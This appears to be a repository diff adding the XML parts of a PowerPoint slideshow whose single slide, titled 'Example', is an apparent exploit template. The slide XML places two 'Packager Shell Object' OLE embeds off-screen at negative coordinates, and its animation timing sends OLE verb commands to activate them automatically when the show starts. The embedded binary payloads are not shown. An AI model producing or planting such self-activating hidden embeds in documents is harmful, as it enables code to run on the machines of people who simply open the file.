<a:lvl5pPr marL="2057400" indent="-228600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:spcBef>
<a:spcPct val="20000" />
</a:spcBef>
<a:buFont typeface="Arial" pitchFamily="34" charset="0" />
<a:buChar char="»" />
<a:defRPr sz="2000" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl5pPr>
<a:lvl6pPr marL="2514600" indent="-228600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:spcBef>
<a:spcPct val="20000" />
</a:spcBef>
<a:buFont typeface="Arial" pitchFamily="34" charset="0" />
<a:buChar char="•" />
<a:defRPr sz="2000" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl6pPr>
<a:lvl7pPr marL="2971800" indent="-228600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:spcBef>
<a:spcPct val="20000" />
</a:spcBef>
<a:buFont typeface="Arial" pitchFamily="34" charset="0" />
<a:buChar char="•" />
<a:defRPr sz="2000" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl7pPr>
<a:lvl8pPr marL="3429000" indent="-228600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:spcBef>
<a:spcPct val="20000" />
</a:spcBef>
<a:buFont typeface="Arial" pitchFamily="34" charset="0" />
<a:buChar char="•" />
<a:defRPr sz="2000" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl8pPr>
<a:lvl9pPr marL="3886200" indent="-228600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:spcBef>
<a:spcPct val="20000" />
</a:spcBef>
<a:buFont typeface="Arial" pitchFamily="34" charset="0" />
<a:buChar char="•" />
<a:defRPr sz="2000" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl9pPr>
</p:bodyStyle>
<p:otherStyle>
<a:defPPr>
<a:defRPr lang="en-US" />
</a:defPPr>
<a:lvl1pPr marL="0" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:defRPr sz="1800" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl1pPr>
<a:lvl2pPr marL="457200" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:defRPr sz="1800" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl2pPr>
<a:lvl3pPr marL="914400" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:defRPr sz="1800" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl3pPr>
<a:lvl4pPr marL="1371600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:defRPr sz="1800" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl4pPr>
<a:lvl5pPr marL="1828800" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:defRPr sz="1800" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl5pPr>
<a:lvl6pPr marL="2286000" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:defRPr sz="1800" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl6pPr>
<a:lvl7pPr marL="2743200" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:defRPr sz="1800" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl7pPr>
<a:lvl8pPr marL="3200400" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:defRPr sz="1800" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl8pPr>
<a:lvl9pPr marL="3657600" algn="l" defTabSz="914400" rtl="0" eaLnBrk="1" latinLnBrk="0" hangingPunct="1">
<a:defRPr sz="1800" kern="1200">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
<a:latin typeface="+mn-lt" />
<a:ea typeface="+mn-ea" />
<a:cs typeface="+mn-cs" />
</a:defRPr>
</a:lvl9pPr>
</p:otherStyle>
</p:txStyles>
</p:sldMaster>
@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="../embeddings/oleObject1.bin" />
<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml" />
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing" Target="../drawings/vmlDrawing1.vml" />
<Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="../media/image2.wmf" />
<Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="../embeddings/oleObject2.bin" />
<Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="../media/image1.wmf" />
</Relationships>
+425
View File
@@ -0,0 +1,425 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:sld xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main">
<p:cSld>
<p:spTree>
<p:nvGrpSpPr>
<p:cNvPr id="1" name="" />
<p:cNvGrpSpPr />
<p:nvPr />
</p:nvGrpSpPr>
<p:grpSpPr>
<a:xfrm>
<a:off x="0" y="0" />
<a:ext cx="0" cy="0" />
<a:chOff x="0" y="0" />
<a:chExt cx="0" cy="0" />
</a:xfrm>
</p:grpSpPr>
<p:sp>
<p:nvSpPr>
<p:cNvPr id="2" name="Title 1" />
<p:cNvSpPr>
<a:spLocks noGrp="1" />
</p:cNvSpPr>
<p:nvPr>
<p:ph type="ctrTitle" />
</p:nvPr>
</p:nvSpPr>
<p:spPr>
<a:xfrm>
<a:off x="304800" y="304800" />
<a:ext cx="8686800" cy="685800" />
</a:xfrm>
</p:spPr>
<p:txBody>
<a:bodyPr>
<a:normAutofit />
</a:bodyPr>
<a:lstStyle />
<a:p>
<a:r>
<a:rPr lang="en-US" sz="3200" dirty="0" smtClean="0">
<a:effectLst>
<a:outerShdw blurRad="38100" dist="38100" dir="2700000" algn="tl">
<a:srgbClr val="000000">
<a:alpha val="43137" />
</a:srgbClr>
</a:outerShdw>
</a:effectLst>
</a:rPr>
<a:t>Example</a:t>
</a:r>
<a:endParaRPr lang="en-US" sz="3200" dirty="0">
<a:effectLst>
<a:outerShdw blurRad="38100" dist="38100" dir="2700000" algn="tl">
<a:srgbClr val="000000">
<a:alpha val="43137" />
</a:srgbClr>
</a:outerShdw>
</a:effectLst>
</a:endParaRPr>
</a:p>
</p:txBody>
</p:sp>
<p:sp>
<p:nvSpPr>
<p:cNvPr id="3" name="Subtitle 2" />
<p:cNvSpPr>
<a:spLocks noGrp="1" />
</p:cNvSpPr>
<p:nvPr>
<p:ph type="subTitle" idx="1" />
</p:nvPr>
</p:nvSpPr>
<p:spPr>
<a:xfrm>
<a:off x="152400" y="1524000" />
<a:ext cx="8839200" cy="5105400" />
</a:xfrm>
</p:spPr>
<p:txBody>
<a:bodyPr>
<a:normAutofit />
</a:bodyPr>
<a:lstStyle />
<a:p>
<a:pPr algn="just" />
<a:r>
<a:rPr lang="en-US" b="1" dirty="0" smtClean="0">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
</a:rPr>
<a:t>Example</a:t>
</a:r>
<a:endParaRPr lang="en-US" b="1" dirty="0">
<a:solidFill>
<a:schemeClr val="tx1" />
</a:solidFill>
</a:endParaRPr>
</a:p>
</p:txBody>
</p:sp>
<p:graphicFrame>
<p:nvGraphicFramePr>
<p:cNvPr id="4" name="Object 3" />
<p:cNvGraphicFramePr>
<a:graphicFrameLocks noChangeAspect="1" />
</p:cNvGraphicFramePr>
<p:nvPr />
</p:nvGraphicFramePr>
<p:xfrm>
<a:off x="1270000" y="-1270000" />
<a:ext cx="381000" cy="381000" />
</p:xfrm>
<a:graphic>
<a:graphicData uri="http://schemas.openxmlformats.org/presentationml/2006/ole">
<mc:AlternateContent xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006">
<mc:Choice xmlns:v="urn:schemas-microsoft-com:vml" Requires="v">
<p:oleObj spid="_x0000_s1032" name="Packager Shell Object" r:id="rId3" imgW="850320" imgH="686880" progId="Package">
<p:embed />
</p:oleObj>
</mc:Choice>
<mc:Fallback>
<p:oleObj name="Packager Shell Object" r:id="rId3" imgW="850320" imgH="686880" progId="Package">
<p:embed />
<p:pic>
<p:nvPicPr>
<p:cNvPr id="0" name="Picture 2" />
<p:cNvPicPr>
<a:picLocks noChangeAspect="1" noChangeArrowheads="1" />
</p:cNvPicPr>
<p:nvPr />
</p:nvPicPr>
<p:blipFill>
<a:blip r:embed="rId4">
<a:extLst>
<a:ext uri="{28A0092B-C50C-407E-A947-70E740481C1C}">
<a14:useLocalDpi xmlns:a14="http://schemas.microsoft.com/office/drawing/2010/main" val="0" />
</a:ext>
</a:extLst>
</a:blip>
<a:srcRect />
<a:stretch>
<a:fillRect />
</a:stretch>
</p:blipFill>
<p:spPr bwMode="auto">
<a:xfrm>
<a:off x="1270000" y="-1270000" />
<a:ext cx="381000" cy="381000" />
</a:xfrm>
<a:prstGeom prst="rect">
<a:avLst />
</a:prstGeom>
<a:noFill />
<a:extLst>
<a:ext uri="{909E8E84-426E-40DD-AFC4-6F175D3DCCD1}">
<a14:hiddenFill xmlns:a14="http://schemas.microsoft.com/office/drawing/2010/main">
<a:solidFill>
<a:srgbClr val="FFFFFF" />
</a:solidFill>
</a14:hiddenFill>
</a:ext>
</a:extLst>
</p:spPr>
</p:pic>
</p:oleObj>
</mc:Fallback>
</mc:AlternateContent>
</a:graphicData>
</a:graphic>
</p:graphicFrame>
<p:graphicFrame>
<p:nvGraphicFramePr>
<p:cNvPr id="5" name="Object 4" />
<p:cNvGraphicFramePr>
<a:graphicFrameLocks noChangeAspect="1" />
</p:cNvGraphicFramePr>
<p:nvPr />
</p:nvGraphicFramePr>
<p:xfrm>
<a:off x="1905000" y="-1270000" />
<a:ext cx="381000" cy="381000" />
</p:xfrm>
<a:graphic>
<a:graphicData uri="http://schemas.openxmlformats.org/presentationml/2006/ole">
<mc:AlternateContent xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006">
<mc:Choice xmlns:v="urn:schemas-microsoft-com:vml" Requires="v">
<p:oleObj spid="_x0000_s1033" name="Packager Shell Object" r:id="rId5" imgW="850320" imgH="686880" progId="Package">
<p:embed />
</p:oleObj>
</mc:Choice>
<mc:Fallback>
<p:oleObj name="Packager Shell Object" r:id="rId5" imgW="850320" imgH="686880" progId="Package">
<p:embed />
<p:pic>
<p:nvPicPr>
<p:cNvPr id="0" name="Picture 3" />
<p:cNvPicPr>
<a:picLocks noChangeAspect="1" noChangeArrowheads="1" />
</p:cNvPicPr>
<p:nvPr />
</p:nvPicPr>
<p:blipFill>
<a:blip r:embed="rId6">
<a:extLst>
<a:ext uri="{28A0092B-C50C-407E-A947-70E740481C1C}">
<a14:useLocalDpi xmlns:a14="http://schemas.microsoft.com/office/drawing/2010/main" val="0" />
</a:ext>
</a:extLst>
</a:blip>
<a:srcRect />
<a:stretch>
<a:fillRect />
</a:stretch>
</p:blipFill>
<p:spPr bwMode="auto">
<a:xfrm>
<a:off x="1905000" y="-1270000" />
<a:ext cx="381000" cy="381000" />
</a:xfrm>
<a:prstGeom prst="rect">
<a:avLst />
</a:prstGeom>
<a:noFill />
<a:extLst>
<a:ext uri="{909E8E84-426E-40DD-AFC4-6F175D3DCCD1}">
<a14:hiddenFill xmlns:a14="http://schemas.microsoft.com/office/drawing/2010/main">
<a:solidFill>
<a:srgbClr val="FFFFFF" />
</a:solidFill>
</a14:hiddenFill>
</a:ext>
</a:extLst>
</p:spPr>
</p:pic>
</p:oleObj>
</mc:Fallback>
</mc:AlternateContent>
</a:graphicData>
</a:graphic>
</p:graphicFrame>
</p:spTree>
</p:cSld>
<p:clrMapOvr>
<a:masterClrMapping />
</p:clrMapOvr>
<p:transition>
<p:zoom />
</p:transition>
<p:timing>
<p:tnLst>
<p:par>
<p:cTn id="1" dur="indefinite" restart="never" nodeType="tmRoot">
<p:childTnLst>
<p:seq concurrent="1" nextAc="seek">
<p:cTn id="2" dur="indefinite" nodeType="mainSeq">
<p:childTnLst>
<p:par>
<p:cTn id="3" fill="hold">
<p:stCondLst>
<p:cond delay="indefinite" />
<p:cond evt="onBegin" delay="0">
<p:tn val="2" />
</p:cond>
</p:stCondLst>
<p:childTnLst>
<p:par>
<p:cTn id="4" fill="hold">
<p:stCondLst>
<p:cond delay="0" />
</p:stCondLst>
<p:childTnLst>
<p:par>
<p:cTn id="5" presetID="11" presetClass="entr" presetSubtype="0" fill="hold" nodeType="withEffect">
<p:stCondLst>
<p:cond delay="0" />
</p:stCondLst>
<p:childTnLst>
<p:set>
<p:cBhvr>
<p:cTn id="6" dur="1000">
<p:stCondLst>
<p:cond delay="0" />
</p:stCondLst>
</p:cTn>
<p:tgtEl>
<p:spTgt spid="4" />
</p:tgtEl>
<p:attrNameLst>
<p:attrName>style.visibility</p:attrName>
</p:attrNameLst>
</p:cBhvr>
<p:to>
<p:strVal val="visible" />
</p:to>
</p:set>
</p:childTnLst>
</p:cTn>
</p:par>
</p:childTnLst>
</p:cTn>
</p:par>
<p:par>
<p:cTn id="7" fill="hold">
<p:stCondLst>
<p:cond delay="1000" />
</p:stCondLst>
<p:childTnLst>
<p:par>
<p:cTn id="8" presetID="11" presetClass="entr" presetSubtype="0" fill="hold" nodeType="afterEffect">
<p:stCondLst>
<p:cond delay="0" />
</p:stCondLst>
<p:childTnLst>
<p:set>
<p:cBhvr>
<p:cTn id="9" dur="1000">
<p:stCondLst>
<p:cond delay="0" />
</p:stCondLst>
</p:cTn>
<p:tgtEl>
<p:spTgt spid="4" />
</p:tgtEl>
<p:attrNameLst>
<p:attrName>style.visibility</p:attrName>
</p:attrNameLst>
</p:cBhvr>
<p:to>
<p:strVal val="visible" />
</p:to>
</p:set>
<p:cmd type="verb" cmd="-3">
<p:cBhvr>
<p:cTn id="10" dur="1000" fill="hold">
<p:stCondLst>
<p:cond delay="0" />
</p:stCondLst>
</p:cTn>
<p:tgtEl>
<p:spTgt spid="4" />
</p:tgtEl>
</p:cBhvr>
</p:cmd>
</p:childTnLst>
</p:cTn>
</p:par>
</p:childTnLst>
</p:cTn>
</p:par>
<p:par>
<p:cTn id="11" fill="hold">
<p:stCondLst>
<p:cond delay="2000" />
</p:stCondLst>
<p:childTnLst>
<p:par>
<p:cTn id="12" presetID="11" presetClass="entr" presetSubtype="0" fill="hold" nodeType="afterEffect">
<p:stCondLst>
<p:cond delay="0" />
</p:stCondLst>
<p:childTnLst>
<p:set>
<p:cBhvr>
<p:cTn id="13" dur="1000">
<p:stCondLst>
<p:cond delay="0" />
</p:stCondLst>
</p:cTn>
<p:tgtEl>
<p:spTgt spid="5" />
</p:tgtEl>
<p:attrNameLst>
<p:attrName>style.visibility</p:attrName>
</p:attrNameLst>
</p:cBhvr>
<p:to>
<p:strVal val="visible" />
</p:to>
</p:set>
<p:cmd type="verb" cmd="3">
<p:cBhvr>
<p:cTn id="14" dur="1000" fill="hold">
<p:stCondLst>
<p:cond delay="0" />
</p:stCondLst>
</p:cTn>
<p:tgtEl>
<p:spTgt spid="5" />
</p:tgtEl>
</p:cBhvr>
</p:cmd>
</p:childTnLst>
</p:cTn>
</p:par>
</p:childTnLst>
</p:cTn>
</p:par>
</p:childTnLst>
</p:cTn>
</p:par>
</p:childTnLst>
</p:cTn>
<p:prevCondLst>
<p:cond evt="onPrev" delay="0">
<p:tgtEl>
<p:sldTgt />
</p:tgtEl>
</p:cond>
</p:prevCondLst>
<p:nextCondLst>
<p:cond evt="onNext" delay="0">
<p:tgtEl>
<p:sldTgt />
</p:tgtEl>
</p:cond>
</p:nextCondLst>
</p:seq>
</p:childTnLst>
</p:cTn>
</p:par>
</p:tnLst>
</p:timing>
</p:sld>
+2
View File
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:tblStyleLst xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" def="{5C22544A-7EE6-4342-B048-85BDC9FD1C3A}"/>
File diff suppressed because one or more lines are too long
+2
View File
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:viewPr xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main" lastView="sldThumbnailView"><p:normalViewPr><p:restoredLeft sz="15620"/><p:restoredTop sz="94660"/></p:normalViewPr><p:slideViewPr><p:cSldViewPr><p:cViewPr varScale="1"><p:scale><a:sx n="60" d="100"/><a:sy n="60" d="100"/></p:scale><p:origin x="332" y="52"/></p:cViewPr><p:guideLst><p:guide orient="horz" pos="2160"/><p:guide pos="2880"/></p:guideLst></p:cSldViewPr></p:slideViewPr><p:notesTextViewPr><p:cViewPr><p:scale><a:sx n="100" d="100"/><a:sy n="100" d="100"/></p:scale><p:origin x="0" y="0"/></p:cViewPr></p:notesTextViewPr><p:gridSpacing cx="76200" cy="76200"/></p:viewPr>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="bin" ContentType="application/vnd.openxmlformats-officedocument.oleObject"/><Default Extension="wmf" ContentType="image/x-wmf"/><Default Extension="jpeg" ContentType="image/jpeg"/><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Default Extension="vml" ContentType="application/vnd.openxmlformats-officedocument.vmlDrawing"/><Override PartName="/ppt/presentation.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideshow.main+xml"/><Override PartName="/ppt/slideMasters/slideMaster1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideMaster+xml"/><Override PartName="/ppt/slides/slide1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slide+xml"/><Override PartName="/ppt/presProps.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.presProps+xml"/><Override PartName="/ppt/viewProps.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.viewProps+xml"/><Override PartName="/ppt/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/ppt/tableStyles.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.tableStyles+xml"/><Override PartName="/ppt/slideLayouts/slideLayout1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout2.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout3.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout4.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout5.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout6.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout7.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout8.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout9.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout10.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/ppt/slideLayouts/slideLayout11.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slideLayout+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/thumbnail" Target="docProps/thumbnail.jpeg"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="ppt/presentation.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template></Template><TotalTime>37</TotalTime><Words>2</Words><Application>Microsoft Office PowerPoint</Application><PresentationFormat>On-screen Show (4:3)</PresentationFormat><Paragraphs>2</Paragraphs><Slides>1</Slides><Notes>0</Notes><HiddenSlides>0</HiddenSlides><MMClips>0</MMClips><ScaleCrop>false</ScaleCrop><HeadingPairs><vt:vector size="6" baseType="variant"><vt:variant><vt:lpstr>Theme</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant><vt:variant><vt:lpstr>Embedded OLE Servers</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant><vt:variant><vt:lpstr>Slide Titles</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant></vt:vector></HeadingPairs><TitlesOfParts><vt:vector size="3" baseType="lpstr"><vt:lpstr>Office Theme</vt:lpstr><vt:lpstr>Packager Shell Object</vt:lpstr><vt:lpstr>Example</vt:lpstr></vt:vector></TitlesOfParts><Company></Company><LinksUpToDate>false</LinksUpToDate><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>14.0000</AppVersion></Properties>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title>Example</dc:title><cp:lastModifiedBy>Windows User</cp:lastModifiedBy><cp:revision>9</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2014-08-06T07:56:10Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2014-11-12T06:36:10Z</dcterms:modified></cp:coreProperties>
Binary file not shown.

After

Width:  |  Height:  |  Size: 4.0 KiB

@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/presProps" Target="presProps.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide" Target="slides/slide1.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideMaster" Target="slideMasters/slideMaster1.xml"/><Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/tableStyles" Target="tableStyles.xml"/><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/viewProps" Target="viewProps.xml"/></Relationships>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="../media/image1.wmf"/></Relationships>
@@ -0,0 +1,31 @@
<xml xmlns:v="urn:schemas-microsoft-com:vml"
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:p="urn:schemas-microsoft-com:office:powerpoint"
xmlns:oa="urn:schemas-microsoft-com:office:activation">
<o:shapelayout v:ext="edit">
<o:idmap v:ext="edit" data="1"/>
</o:shapelayout><v:shapetype id="_x0000_t75" coordsize="21600,21600" o:spt="75"
o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f">
<v:stroke joinstyle="miter"/>
<v:formulas>
<v:f eqn="if lineDrawn pixelLineWidth 0"/>
<v:f eqn="sum @0 1 0"/>
<v:f eqn="sum 0 0 @1"/>
<v:f eqn="prod @2 1 2"/>
<v:f eqn="prod @3 21600 pixelWidth"/>
<v:f eqn="prod @3 21600 pixelHeight"/>
<v:f eqn="sum @0 0 1"/>
<v:f eqn="prod @6 1 2"/>
<v:f eqn="prod @7 21600 pixelWidth"/>
<v:f eqn="sum @8 21600 0"/>
<v:f eqn="prod @7 21600 pixelHeight"/>
<v:f eqn="sum @10 21600 0"/>
</v:formulas><v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
<o:lock v:ext="edit" aspectratio="t"/>
</v:shapetype><v:shape id="_x0000_s1034" type="#_x0000_t75" style='position:absolute;left:100pt;top:-100pt;width:30pt;height:30pt'>
<v:fill color="white" opacity="1" on="f" type="solid"/>
<v:stroke on="f"/>
<v:imagedata o:relid="rId1" o:title="" croptop="0" cropbottom="0" cropleft="0"
cropright="0" grayscale="f" bilevel="f"/>
<o:lock v:ext="edit" aspectratio="t" position="f" selection="f" grouping="f"/>
</v:shape></xml>
@@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<p:presentationPr xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main"><p:extLst><p:ext uri="{E76CE94A-603C-4142-B9EB-6D1370010A27}"><p14:discardImageEditData xmlns:p14="http://schemas.microsoft.com/office/powerpoint/2010/main" val="0"/></p:ext><p:ext uri="{D31A062A-798A-4329-ABDD-BBA856620510}"><p14:defaultImageDpi xmlns:p14="http://schemas.microsoft.com/office/powerpoint/2010/main" val="220"/></p:ext><p:ext uri="{FD5EFAAD-0ECE-453E-9831-46B23BE46B34}"><p15:chartTrackingRefBased xmlns:p15="http://schemas.microsoft.com/office/powerpoint/2012/main" xmlns="" val="0"/></p:ext></p:extLst></p:presentationPr>
@@ -0,0 +1,13 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
